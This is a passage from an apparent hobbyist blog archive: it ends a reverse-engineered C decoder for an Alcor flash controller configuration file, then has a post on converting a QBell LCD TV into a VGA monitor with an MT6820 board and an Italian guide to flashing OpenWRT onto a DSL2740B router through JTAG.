<span style="color: #898887;"> unsigned char cache_enabled;</span><span style="color: #898887;">*/</span>
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> unk[<span style="color: #b08000;">0x260</span>-(<span style="color: #b08000;">1</span>+<span style="color: #b08000;">0xb</span>)];
} AlcorFlashListEntry;
<span style="color: #006e28;">#pragma pack(pop)</span>
<span style="color: #898887;">// It seems to be some kind of block cipher using 0x100 ( 256 bytes) blocks</span>
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> * init_Vector(<span style="color: #0057ae;">const</span> <span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> * enc_key , <span style="color: #0057ae;">int</span> keylen, <span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> * out)
{
<span style="color: #0057ae;">int</span> v4;
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">int</span> v3;
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">int</span> v5;
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">int</span> v6;
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">int</span> v7;
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> * res = NULL;
<b>if</b> ( enc_key && out )
{
v4 = <span style="color: #b08000;">0</span>;
v3 = <span style="color: #b08000;">0</span>;
<b>do</b> {
out[v3] = v3;
++v3;
} <b>while</b> ( v3 < <span style="color: #b08000;">0x100</span> );
v5 = <span style="color: #b08000;">0</span>;
<b>do</b>
{
v6 = v5 / keylen;
v7 = v5 % keylen;
LOBYTE(v6) = enc_key[v5 % keylen];
LOBYTE(v7) = out[v5];
v4 = (v7 + v4 + v6) & <span style="color: #b08000;">0xFF</span>;
LOBYTE(v7) = out[v4] ^ v7;
out[v5] = v7;
LOBYTE(v7) = v7 ^ out[v4];
out[v4] = v7;
out[v5++] ^= v7;
} <b>while</b> ( v5 < <span style="color: #b08000;">0x100</span> );
res = out;
} <b>else</b> {
res = <span style="color: #b08000;">0</span>;
}
<b>return</b> res;
}
<span style="color: #0057ae;">void</span> * decryptBlock(<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> * buffer, <span style="color: #0057ae;">int</span> bufferlen, <span style="color: #0057ae;">const</span> <span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> * enc_key, <span style="color: #0057ae;">int</span> keylen, <span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> * output)
{
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> * v5; <span style="color: #898887;">// edi@3</span>
<span style="color: #0057ae;">int</span> v6; <span style="color: #898887;">// eax@4</span>
<span style="color: #0057ae;">int</span> v7; <span style="color: #898887;">// edx@4</span>
<span style="color: #0057ae;">int</span> v8; <span style="color: #898887;">// ecx@4</span>
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> *v9; <span style="color: #898887;">// esi@4</span>
<span style="color: #0057ae;">int</span> v10; <span style="color: #898887;">// ebp@5</span>
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> v11; <span style="color: #898887;">// bl@6</span>
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> v12; <span style="color: #898887;">// bl@6</span>
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> v13; <span style="color: #898887;">// bl@6</span>
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span>* result; <span style="color: #898887;">// eax@8</span>
<span style="color: #0057ae;">int</span> v16; <span style="color: #898887;">// [sp+10h] [bp+4h]@5</span>
<b>if</b> ( buffer && enc_key && ( v5 = output, output ))
{
v9 = <b>new</b> <span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span>[<span style="color: #b08000;">0x100</span>];
init_Vector(enc_key, keylen, v9);
v7 = bufferlen;
v6 = <span style="color: #b08000;">0</span>;
v8 = <span style="color: #b08000;">0</span>;
<b>if</b> ( bufferlen )
{
v10 = buffer - output;
v16 = bufferlen;
<b>do</b>
{
v6 = (v6 + <span style="color: #b08000;">1</span>) & <span style="color: #b08000;">0xFF</span>;
LOBYTE(v7) = v9[v6];
v8 = (v8 + v7) & <span style="color: #b08000;">0xFF</span>;
v11 = v9[v8] ^ v9[v6];
v9[v6] = v11;
v12 = v11 ^ v9[v8];
v9[v8] = v12;
v13 = v12 ^ v9[v6];
v9[v6] = v13;
*v5 = v5[v10] ^ v9[(v9[v8] + v13) % <span style="color: #b08000;">256</span>];
++v5;
v7 = v16 - <span style="color: #b08000;">1</span>;
}
<b>while</b> ( v16-- != <span style="color: #b08000;">1</span> );
v5 = output;
}
<b>delete</b>[] v9;
result = v5;
}
}
<span style="color: #0057ae;">int</span> main(<span style="color: #0057ae;">int</span> argc, <span style="color: #0057ae;">char</span> **argv) {
FILE * f = fopen(argv[<span style="color: #b08000;">1</span>],<span style="color: #bf0303;">"rb"</span>);
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> buffer[<span style="color: #b08000;">512</span>];
fread(buffer,<span style="color: #b08000;">512</span>,<span style="color: #b08000;">1</span>,f);
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> out1[<span style="color: #b08000;">256</span>];
decryptBlock(buffer,<span style="color: #b08000;">256</span>,(<span style="color: #0057ae;">const</span> <span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span>*)<span style="color: #bf0303;">"ALCORFLASHCFG_SZ"</span>,<span style="color: #b08000;">16</span>,out1);
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> out2[<span style="color: #b08000;">512</span>];
decryptBlock(&buffer[<span style="color: #b08000;">256</span>],<span style="color: #b08000;">256</span>,out1,<span style="color: #b08000;">256</span>,out2);
<span style="color: #898887;">// fwrite(out2,256,1,stdout);</span>
AlcorFlashListHeader hdr;
memcpy(&hdr,out2,<b>sizeof</b>(hdr));
printf(<span style="color: #bf0303;">"File version: %d</span><span style="color: #924c9d;">\n</span><span style="color: #bf0303;">"</span>,hdr.version);
printf(<span style="color: #bf0303;">"Entry size: %d</span><span style="color: #924c9d;">\n</span><span style="color: #bf0303;">"</span>,hdr.entry_size);
printf(<span style="color: #bf0303;">"Entry count: %d</span><span style="color: #924c9d;">\n</span><span style="color: #bf0303;">"</span>,hdr.entry_count);
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> * completebuffer = <b>new</b> <span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span>[std::min(<span style="color: #b08000;">1024</span>*<span style="color: #b08000;">1024</span>*<span style="color: #b08000;">128</span>, hdr.entry_size*hdr.entry_count)];
<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span> * completebuffer_enc = <b>new</b> <span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span>[std::min(<span style="color: #b08000;">1024</span>*<span style="color: #b08000;">1024</span>*<span style="color: #b08000;">128</span>, hdr.entry_size*hdr.entry_count)];
memset(completebuffer,<span style="color: #b08000;">0</span>,hdr.entry_size*hdr.entry_count);
<span style="color: #0057ae;">int</span> nb = fread(completebuffer_enc,<span style="color: #b08000;">1</span>,hdr.entry_count*hdr.entry_size,f);
<b>if</b> ( nb != hdr.entry_count*hdr.entry_size )
abort();
<b>for</b> ( <span style="color: #0057ae;">int</span> i = <span style="color: #b08000;">0</span>; i < hdr.entry_count; i++ )
{
out1[<span style="color: #b08000;">0</span>] = i;
out1[<span style="color: #b08000;">255</span>] = ~(i + (<span style="color: #0057ae;">unsigned</span> <span style="color: #0057ae;">char</span>)<span style="color: #b08000;">0</span> <span style="color: #898887;">/*</span><span style="color: #898887;">a4</span><span style="color: #898887;">*/</span>);
decryptBlock(&completebuffer_enc[hdr.entry_size*i],hdr.entry_size,out1,<span style="color: #b08000;">256</span>,&completebuffer[hdr.entry_size*i]);
}
<span style="color: #898887;">//fwrite(completebuffer,1,hdr.entry_size*hdr.entry_count,stdout);</span>
AlcorFlashListEntry * entries = (AlcorFlashListEntry*)completebuffer;
<b>for</b> ( <span style="color: #0057ae;">int</span> i = <span style="color: #b08000;">0</span>; i < hdr.entry_count; i++ )
{
printf(<span style="color: #bf0303;">"%s - %s , ID: %02x%02x%02x%02x%02x%02x "</span>,entries[i].vendor,entries[i].partno,entries[i].id[<span style="color: #b08000;">0</span>],entries[i].id[<span style="color: #b08000;">1</span>],entries[i].id[<span style="color: #b08000;">2</span>],entries[i].id[<span style="color: #b08000;">3</span>],entries[i].id[<span style="color: #b08000;">4</span>],entries[i].id[<span style="color: #b08000;">5</span>]);
<span style="color: #898887;">/*</span><span style="color: #898887;"> if ( !entries[i].cache_enabled )</span>
<span style="color: #898887;"> {</span>
<span style="color: #898887;"> printf("-No cache enabled-");</span>
<span style="color: #898887;"> }</span><span style="color: #898887;">*/</span>
printf(<span style="color: #bf0303;">" CE = %d, ADD Data:"</span>,entries[i].CE);
<b>for</b> ( <span style="color: #0057ae;">int</span> k = <span style="color: #b08000;">0</span>; k < <span style="color: #b08000;">32</span>; k++ )
{
printf(<span style="color: #bf0303;">"%02x"</span>,entries[i].unk1[k]);
}
printf(<span style="color: #bf0303;">"</span><span style="color: #924c9d;">\n</span><span style="color: #bf0303;">"</span>);
}
<b>return</b> <span style="color: #b08000;">0</span>;
}</pre>
<div style="background-color: white; color: #1f1c1b;">
<br /></div>
<div style="background-color: white; color: #1f1c1b;">
If someone is interested in helping me on that work , comment here, or circle me on Google Plus</div>
<div style="background-color: white; color: #1f1c1b;">
<br /></div>
<div style="background-color: white; color: #1f1c1b;">
<span style="font-family: inherit;"><br /></span></div>
</div>
Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com0tag:blogger.com,1999:blog-413688212424257444.post-44044593178893610982014-05-30T06:06:00.001-07:002014-05-30T08:46:15.786-07:00Resurrecting QBell 39" LCD LED TV as VGA display using an MT6820 boardI've got that TV to be trashed, because after some hours it won't turn on anymore, first thing i've checked is the power supply which was fine.<br />
The original board is labeled "T.MSD309.B21B", and apparently it is a chinese universal LVDS LCD driver board.<br />
<br />
So i've checked on ebay and that board is available , but it costs a lot of money ( 80+ € excl. shipping ) , and since the old one broke almost in new condition, and i'm pretty sure it is software-broken, it's reasonable to think that the board is flawed and it will break again and again.<br />
Also i couldn't be sure that the panel was in working condition , so 100 € is too much risky considering that and what said above.<br />
<br />
I've choosen then, to use an MT6820 board which can be bought from ebay for as low as 6€, it has only VGA input , but it is fine for what i want to use that LCD for.<br />
<br />
This board has various options to support most LCD panels, so i've tried all of them, and the one that is closest to perfection is the no. 1.<br />
But it isn't perfect, you will get swapped columns.<br />
While going through various LVDS pinouts i've noticed that a group of signals is marked "EVEN" and another group "ODD", since the number of pixels horizontally is even, it clearly appears to be caused by swapped EVEN and ODD connections.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH05yQnKT3dRiuiZPR9D9QhO-XtnG5NQjGlcZflZuAXSqitfGA_tpLeOfdmkGgJsqrzhVdTsFvt6UEQ-42IkE52_XFVvvSYMLtTDScRI9wtevbcpAqWuA7LyN1C1olXhfVEUWQhrTznxHp/s1600/IMG_20140529_215445.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH05yQnKT3dRiuiZPR9D9QhO-XtnG5NQjGlcZflZuAXSqitfGA_tpLeOfdmkGgJsqrzhVdTsFvt6UEQ-42IkE52_XFVvvSYMLtTDScRI9wtevbcpAqWuA7LyN1C1olXhfVEUWQhrTznxHp/s1600/IMG_20140529_215445.jpg" height="240" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The glitch caused by swapped EVEN and ODD</td></tr>
</tbody></table>
<br />
<br />
When swapping the signals according to the MT6820 pinout, i was very tired and screwed up all the ordering , so i had to find again the correct pinout.<br />
Since the Part.NO of the panel gives 0 results on google , literally, i've spotted the lvds controller board chip manufacter on the panel , which is "CMO" , CMO stands for ChiMei Optoelectronics, but it does not longer exist , however , after some more hard search , i've figured out that it has been acquired by Innolux, and then i've picked the first datasheet of a LED backlit panel 39 inches wide.<br />
<br />
After having the right pinout i've reassembled the cable and i've got to the starting point where columns were swapped.<br />
<br />
So the next day, after some rest , i've tried again to swap the connections , and it finally works.<br />
<br />
Now let get deeper into the details, if you order an MT6820 , you will likely get an LVDS cable that is useless for our work, and a button board that we need instead.<br />
<br />
The button board must be connected with the supplied cable even if the pin count does not match, that is because K5 and K6 on the input side are unused.<br />
Make sure that the other input pins and led pins match on the button board.<br />
<br />
On the QBell LVDS cable you have to swap all the EVEN pins with ODD pins, to do that , do not cut the wires or do some s**t like that , instead just use some thin object like a needle to extract the contacts from the plastic of the connector on the MT6820 side and swap them all.<br />
<br />
Now that you have ( hopefully ) correct LVDS connection, you need to do one more thing , the MT6820 supports only 3.3V and 5V panel , instead at least on this QBell , the panel voltage is 12V , so you have to cut the Red wires ( pins 1,2,3 ) and connect them with the +12V from the power supply( you can see output voltages from the PCB of the power supply , since they are labeled ).<br />
<br />
The backlight is not electrically compatible with the MT6820 so you have to just connect both BLON and ADJ pins of the power supply to +5VSB .<br />
The +5V of the MT6820 instead has to be connected on the +5V of the power supply.<br />
To make the power supply power on as soon you plug the TV to the outlet, connect PSON and +5VSB together.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUldwrvI0TQsHRdE6KhrWZ8c99-DD-fhLhYRF27THHCzFzv5c40LgZGyKoE91bL4xaqEUHQTeelo9jCMPt3U1boFqd6D99OVOkJ_D1yTh-eN7L5GKIHExJbMHQpq0acdq4gJ4iNaMKiLTk/s1600/IMG_0135.JPG" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUldwrvI0TQsHRdE6KhrWZ8c99-DD-fhLhYRF27THHCzFzv5c40LgZGyKoE91bL4xaqEUHQTeelo9jCMPt3U1boFqd6D99OVOkJ_D1yTh-eN7L5GKIHExJbMHQpq0acdq4gJ4iNaMKiLTk/s1600/IMG_0135.JPG" height="239" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The MT6820 board "installed"</td></tr>
</tbody></table>
<br />
<br />
<br />
If nothing is wrong you should see "No signal" written in chinese and it should work correctly as a regular PC VGA display.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi61pnyjsa9B1AaQSlOk0K8w1bfYRA-MUjuVVrfK9u9ONbLYGAaz28kO-sfEztkR0yLfwbGn5fMljnHAfvs7nV2DjmDRlL0cTW4NM2SnosC7EoI072FH4_YQUEhSU0yjQfTicaapvGt0aQZ/s1600/Selezione_003.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi61pnyjsa9B1AaQSlOk0K8w1bfYRA-MUjuVVrfK9u9ONbLYGAaz28kO-sfEztkR0yLfwbGn5fMljnHAfvs7nV2DjmDRlL0cTW4NM2SnosC7EoI072FH4_YQUEhSU0yjQfTicaapvGt0aQZ/s1600/Selezione_003.png" height="320" width="267" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">LCD Panel pinout</td></tr>
</tbody></table>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8NSMQ-V7Q3TOp20rljjE2UG3_RsPhhBu1mCYbiVTExE_O58K6u7xq3UayWA1z7KYxRBUzQRDCo1Dy0wK9wABO1HuvrR-vN5sNzmdyBPAht7Ca5qxRkkxx4QFuFQ1bqiytM3hSIL5RrMgM/s1600/Selezione_004.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8NSMQ-V7Q3TOp20rljjE2UG3_RsPhhBu1mCYbiVTExE_O58K6u7xq3UayWA1z7KYxRBUzQRDCo1Dy0wK9wABO1HuvrR-vN5sNzmdyBPAht7Ca5qxRkkxx4QFuFQ1bqiytM3hSIL5RrMgM/s1600/Selezione_004.png" height="230" width="320" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">LCD Panel pinout</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRqEkZu9rvFNrdXte8-LyZ0T3910GHLQYezDG3LnqjrADlPeeB7gLy25PV26tOe-RXlrUV8SgT6o2B1b7qY7HtjadR5aiPYvFHyUXTUsZFbe5sw9eoTstDjTy3DPOdPXdVxVm5XEG3aGkv/s1600/Selezione_005.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRqEkZu9rvFNrdXte8-LyZ0T3910GHLQYezDG3LnqjrADlPeeB7gLy25PV26tOe-RXlrUV8SgT6o2B1b7qY7HtjadR5aiPYvFHyUXTUsZFbe5sw9eoTstDjTy3DPOdPXdVxVm5XEG3aGkv/s1600/Selezione_005.png" height="320" width="260" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">MT6820 pinout<br /></td></tr>
</tbody></table>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />Anonymoushttp://www.blogger.com/profile/13032380667408850688noreply@blogger.com4tag:blogger.com,1999:blog-413688212424257444.post-36522105966511459732014-05-17T10:11:00.001-07:002014-05-17T10:14:41.914-07:00[AVANZATO] Installare OpenWRT sul router DSL2740B Revisione A1 , Utile anche per debrick<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY5GGD-u4eq974a1PCroK9hNkjWS4HDUdtnZAtdN2mvF_2qy0UK5Z25PJc3sDcpjY4AMw678hwQo1voNhhGb8RtIUKWRKRbaU6jlEBrLxcLyX6AqMjdHbU7kvSykJNtMuJSX1LrYOhOKkH/s1600/Selezione_146.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY5GGD-u4eq974a1PCroK9hNkjWS4HDUdtnZAtdN2mvF_2qy0UK5Z25PJc3sDcpjY4AMw678hwQo1voNhhGb8RtIUKWRKRbaU6jlEBrLxcLyX6AqMjdHbU7kvSykJNtMuJSX1LrYOhOKkH/s1600/Selezione_146.png" height="263" width="320" /></a></div>
Premetto subito che le informazioni qui riportate sono per chi ha già una buona esperienza.<br />
Altra premessa è il fatto che non è detto che si possa far ritornare il router al suo stato di fabbrica dopo le modifiche descritte in questo articolo, se si vuole avere un punto di ripristino, eseguire prima di flashmem<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">readmem 0x1f000000 0x20000 /percorso/al/file/di/backup</span><br />
<br />
<span style="font-family: inherit;">Questo comando salva i primi 128kb della memoria flash, che comprendono la nvram ed il cfe della D-Link</span><br />
<br />
<br />
Per eseguire l'installazione di OpenWRT è necessario come prima cosa sostituire il bootloader, per fare ciò è necessario utilizzare la porta JTAG , che contrariamente a quanto riportato dalla maggior parte degli articoli che trattano questo router, è presente.<br />
<br />
La porta JTAG è accessibile sulle piazzole con le seguenti etichette<br />
<br />
<table border="1">
<tbody>
<tr><th>Testpoint</th><th>JTAG</th></tr>
<tr><td>TP_DG2</td><td>GND</td></tr>
<tr><td>TP25</td><td>TDI</td></tr>
<tr><td>TP26</td><td>TDO</td></tr>
<tr><td>TP27</td><td>TMS</td></tr>
<tr><td>TP28</td><td>TCK</td></tr>
</tbody></table>
<br />
<br />
<br />
<br />
<div>
Per eseguire il collegamento tramite JTAG è possibile utilizzare un cavo DLC5 sulla porta parallela come descritto qui <a href="http://wiki.openwrt.org/doc/hardware/port.jtag.cable.unbuffered" target="_blank">http://wiki.openwrt.org/doc/hardware/port.jtag.cable.unbuffered</a> , oppure un adattatore Altera USB Blaster , di quest'ultimo anche un clone cinese va bene.</div>
<div>
<br /></div>
<div>
Per programmare la memoria flash , il programma che mi ha funzionato senza problemi è urjtag (<a href="http://urjtag.org/" target="_blank">http://urjtag.org</a>), di questo programma non va utilizzata la versione 0.10 , ma la versione SVN</div>
<div>
<br /></div>
<div>
Una volta eseguiti tutti i collegamenti ed avviato urjtag come root da riga di comando digitando "jtag", è necessario specificare che tipo di cavo si usa, nel caso della porta parallela<br />
<br />
cable parallel 0x378 DLC5</div>
<div>
<br /></div>
<div>
mentre nel caso di Altera USB Blaster</div>
<div>
<br /></div>
<div>
cable usbblaster</div>
<div>
<br /></div>
<div>
Poi è necessario identificare il processore, per fare ciò, digitare detect</div>
<div>
Dovrebbe apparire un output simile:</div>
<div>
<br /></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">jtag> detect</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">IR length: 5</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Chain length: 1</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Device Id: 00000110001101011000000101111111 (0x0635817F)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Manufacturer: Broadcom (0x17F)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Part(0): BCM6358 (0x6358)</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Stepping: V1</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"> Filename: /usr/share/urjtag/broadcom/bcm6358/bcm6358</span></div>
</div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: inherit;">Se dovesse comparire come device Id una stringa di 0 , oppure altri errori , come TDO seems to be stuck at , o roba simile, ricontrollare i collegamenti e che il router sia acceso.</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">Poi è necessario inizializzare EJTAG in modalità DMA , per fare ciò:</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<div>
<span style="font-family: Courier New, Courier, monospace;">jtag> initbus ejtag_dma </span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">ImpCode=00000000100000011000100100000100</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">EJTAG version: <= 2.0</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">EJTAG Implementation flags: R4k MIPS16 DMA MIPS32</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Clear memory protection bit in DCR</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Clear Watchdog</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Potential flash base address: [0x0], [0x1f00008c]</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">Processor successfully switched in debug mode.</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">jtag></span></div>
</div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
Se dovesse bloccarsi urjtag in questo passo oppure dovesse dire che non riesce a mettere in modalità debug il processore, ritentare e se il problema persiste , provare ad entrare nel prompt CFE utilizzando la porta seriale e ritentare da capo la parte inerente ad urjtag.<br />
È di fondamentale importanza , essendo JTAG stateful , che quando qualcosa vada storto o si vuole ricominciare , sia chiuso e riaperto urjtag e spento e riacceso il router.<br />
<br />
Una volta inizializzato EJTAG , si può passare ad inizializzare la flash CFI con il seguente comando<br />
<br />
<span style="font-family: Courier New, Courier, monospace;">jtag> detectflash 0x1f000000</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: inherit;">Dovrebbero essere restituite tutte le informazioni sulla memoria flash , in caso contrario , ritentare più volte e se continua a non funzionare , chiedere aiuto nei commenti di questo post</span></div>
<div>
<span style="font-family: inherit;">Un altro passo fondamentale è eseguire il comando</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">jtag> endian big</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: inherit;">Questo comando, imposta che anche il file è bigendian come il processore e quindi urjtag non andrà ad invertire le word</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
Se tutto è andato a buon fine , si è pronti a scrivere il nuovo CFE sulla memoria flash, per fare ciò , va innanzitutto scaricato il nuovo CFE <a href="https://drive.google.com/file/d/0B5uKF4o3fPSWYzZya2paWWdOd2c/edit?usp=sharing" target="_blank">https://drive.google.com/file/d/0B5uKF4o3fPSWYzZya2paWWdOd2c/edit?usp=sharing</a> e poi va scritto sulla memoria flash con il comando flashmem come segue:</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<span style="font-family: Courier New, Courier, monospace;">flashmem 0x1f000000 /percorso/completo/a/cfe6358.bin</span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: inherit;">Se tutto è corretto inizierà a cancellare e programmare i settori della memoria flash con i contenuti del file, una voltè che è completata la procedura , e la fase di verifica non ha dato errori, si è pronti a riavviare il router e tramite la porta seriale configurare i parametri della scheda</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">Verranno chiesti alcuni parametri come segue:</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: Courier New, Courier, monospace;"><span style="color: #262626; font-size: 13px; line-height: 16px;">*** Board is not initialized properly ***</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;">Press: <enter> to use current value</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;"> '-' to go previous parameter</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;"> '.' to clear the current value</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;"> 'x' to exit this command</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;">Board Id Name (0-4)</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;">96358VW ------- 0</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;">96358VW-16 ------- 1</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;">96358GW ------- 2</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;">96358GW-16 ------- 3</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;">96358M ------- 4 : 0</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;">Number of MAC Addresses (1-32) : 0 4</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;">Base MAC Address : 24:0a:64:xx:xx:xx</span><br style="color: #262626; font-size: 13px; line-height: 16px;" /><span style="color: #262626; font-size: 13px; line-height: 16px;">Press any key to reset the board:</span></span></div>
<div>
<br /></div>
<div>
<span style="font-family: inherit;">Sostituire ovviamente le xx del mac address con dei codici esadecimali validi e che non siano un indirizzo di broadcast.<br />È possibile anche modificare i primi 3 byte del mac address, quelli che ho messo io sono del produttore della mia scheda madre ( ASUS ).</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
<span style="font-family: inherit;">Il reset della scheda al termine dell'operazione non è detto che funzionerà , in tal caso trascorsi almeno 5 secondi , rimuovere e riapplicare l'alimentazione</span></div>
<div>
<span style="font-family: inherit;"><br /></span></div>
<div>
Una volta completato questo passo, rientrando nuovamente nel prompt del CFE , dovrebbero essersi abilitate le porte ethernet con indirizzo ip 192.168.1.1.</div>
<div>
Openwrt deve essere scaricato da <a href="http://downloads.openwrt.org/attitude_adjustment/12.09/brcm63xx/generic/openwrt-96358VW-generic-squashfs-cfe.bin" target="_blank">http://downloads.openwrt.org/attitude_adjustment/12.09/brcm63xx/generic/openwrt-96358VW-generic-squashfs-cfe.bin</a> o nel caso questa versione sia vecchia in futuro , scaricare comunque una versione che sia squahfs e sia 96358VW.</div>
<div>
Una volta scaricato openwrt , connettere il PC con un cavo ethernet allo switch del router, e visitare la pagina http://192.168.1.1</div>
<div>
<br /></div>
<div>
In questa pagina , non serve fare altro che selezionare il file precedentemente scaricato e dare OK, in pochi minuti dovrebbe avviarsi il router con openwrt.<br />
<br /></div>
<div>
Oltre al modem ADSL che come su tutti i router brcm63xx a causa del fatto che broadcom non rilascia la documentazione. non funziona , potrebbe non funzionare anche la scheda wireless essendo anche essa broadcom, in questo caso, è necessario procurarsi una scheda ath5k od una scheda ath9k minipci ed installarla al posto della broadcom.<br />
